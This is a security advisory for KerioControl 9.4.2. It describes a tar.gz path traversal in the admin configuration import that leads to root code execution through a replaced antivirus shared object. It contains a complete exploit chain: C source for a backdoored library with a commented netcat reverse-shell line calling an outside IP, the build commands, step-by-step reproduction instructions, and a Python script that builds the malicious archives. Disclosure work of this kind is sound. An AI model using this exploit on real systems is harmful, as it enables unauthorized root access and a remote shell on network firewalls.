Summary
KerioControl suffers from a tar.gz path traversal within the import configuration functionality inside the admin panel which leads to Remote Code Execution.
Credit
Simon Janz
Affected Devices
KerioControl version 9.4.2 patch 1 build7290
Vendor Response
The vendor has been notified on February 14, 2023, but has provided no indication whether or not it is getting fixed or addressed.
Technical Analysis
A vulnerability in the way KerioControl processes updates to its Antivirus engine allows an attacker that has access to the (admin) web interface of the product to gain full root privileges on the underlying operating system.
This is due to the fact that the import functionality of the configuration inside the admin panel suffered from a path traversal vulnerability.
While at first glass it might seem that it’s only possible to write to /tmp/
and its sub-directories, later on it was identified that it was also possible to write to /var/
and its sub-directories.
Subsequent searches for interesting files to create/overwrite brought up the following:
... 346983 0 lrwxrwxrwx 1 root root 58 Feb 2 14:39 /var/winroute/bitdefender/Plugins/1/bdcore.so -> /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64 347975 40 -rw------- 1 root root 39456 Feb 2 22:39 /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64 347927 40 -rw------- 1 root root 39456 Feb 2 14:39 /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64 ...
This seemed promising, as it was a shared object which might be overwritable and then loaded again for RCE. It was looked for the respective process which did include the file:
> for pid in `ls /proc/`; do grep 'bdcore.so' /proc/$pid/maps && echo $pid ; done 7f4349c92000-7f4349c9a000 r-xp 00000000 08:04 347975 /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64 7f4349c9a000-7f4349d99000 ---p 00008000 08:04 347975 /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64 7f4349d99000-7f4349d9b000 rw-p 00007000 08:04 347975 /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64 14787
Ok, this looks promising, we have an actual process which does load the shared object. Which process and which privileges does it run as?
> ps aux |grep 14787 root 14787 1.0 8.7 949276 354896 ? Sl 22:39 0:28 ./avserver 134 137
This is perfect, it seems to be the AV service and it runs as root
. After some time looking into the web interface the respective service was identified and as it turns out, the admin user is able to disable (kill) the service through the WebUI and also re-enable it. Leading to a stop and start of the service.
Then the shared object binary was downloaded from the system, thrown into Ghidra and the exported functions and their respective parameters were copied into a new C source file which should later be compiled to our backdoored binary.
The following C code was used to create a backdoored version of the actual shared object:
/* * How to compile: * ---- * gcc -c -Wall -Werror -fpic evil_bdcore.so.c * gcc -shared -o evil_bdcore.so evil_bdcore.so.o */ #include<unistd.h> #include<stdlib.h> void evil(){ // Change this to your needs // for reverse shell the following might be used: // "/usr/bin/nc 172.16.41.1 1235 -e /bin/sh &" (without quotes of course) system("/bin/touch /tmp/oh0la"); } void CoreDeleteInstance(void){ evil(); } void CoreGet(void){ evil(); } long CoreGetBuildNumber(void){ evil(); return 0; } long* CoreGetLastOpenError(void){ evil(); return 0;} int CoreInit(void){ evil(); return 0;} int CoreInit2(void *param){ evil(); return 0;} int CoreInit3(long param){ evil(); return 0;} int CoreInit4(void *param1, long param2){ evil(); return 0; } int CoreInit5(int param1, long param2, long param3, long param4){ evil(); return 0; } long CoreInitEx(long param1){ evil(); return 0;} void CoreNewInstance(void){ evil(); } long CoreSet(long param1, unsigned int param2, long param3, long param4, long param5, long param6){ evil(); return 0; } int CoreUninit(void){ evil(); return 0; }
This can then be compiled and
> gcc -c -Wall -Werror -fpic evil_bdcore.so.c > gcc -shared -o bdcore.so.linux-x86_64 evil_bdcore.so.o
Up until now no time was spend on showing PoC code for the actual vulnerability – the path traversal. Let’s discuss a problem we are facing with the loading of our backdoored so.
The shared object is a AV signature helper as it seems. During tests it was observed that for each signatuere update the path changed – not much but here is an example:
Before the signature update:
/var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
After the signature update:
/var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
So the last subfolder is an integer value ranging from 1-X and the last one is chosen. During tests it was often observed that if the value does not seem to be correct (e.g. 50 instead of 1) a new update is trigered, again increasing the value and downloading a new signature (.so file) and hence ignoring our evil one.
After some testing this was however was solvable. When this integer hit 99
it started again at 1. This leaves us with the following scenario from a high-level view:
1. Disable AV
2. Create file /var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64
using the vulnerability
3. Enable AV which creates /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
4. Disable AV
5. Create file /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
using the vulnerability
6. Enable AV again – this time loading our .so
The script to create the two files is shown below
Demo

Exploit
Flow of attack
> python3 create_evil_archives.py Creating evil_backup_write_1.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64 Creating evil_backup_write_99.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64
These two files are then uploaded. As discussed first the `evil_backup_write_99.tar.gz` and then the `evil_backup_write_1.tar.gz` one.
The following lists the steps in more detail for easily reproducing the issue and gaining Remote Code Execution:
1. Disable AV
– Goto Antivirus
– Untick `Use Kerio Antivirus` and click apply in the lower right
2. Trigger Vulnerability to create the file /var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64
(this will trigger the update me
– Dashboard-> Click “Configuration Assistant” in the lower left
– `Import Configuration` and select the backdoored created .tar.gz
3. Enable AV – This will trigger an update and roll back to 1
hence create the legit file /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
– Goto Antivirus
– Disable/Uncheck “Check for update every…”
– Enable/Tick “Use Kerio Antivirus” and again click apply in the lower right
4. Disable AV Again
– Repeat Step 1
5. Trigger Vulnerability again to now overwrite the file /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
– Repeat step 1 with the evil backup file
6. Enable AV – This will finally load our evil backdoor
– Repeat step 3
Code
#!/usr/bin/env python import sys, zipfile, tarfile, os, optparse def create_file(n): # Fake file, only the name is interesting as it is used for the traversal fname = "bdcore.so.linux-x86_64" evil_backup_name = f"evil_backup_write_{n}.tar.gz" tf = tarfile.open(evil_backup_name, "w:gz") SO_FOLDER_PATH = f"var/winroute/bitdefender/Plugins/{n}/" zpath = "../"*8+SO_FOLDER_PATH + os.path.basename(fname) print (f"Creating {evil_backup_name} containing {zpath}") tf.add(fname, zpath) """ for f in CONFIG_FILES: tf.add(f, zpath) """ tf.close() def main(argv=sys.argv): create_file(1) create_file(99) if __name__ == '__main__': main()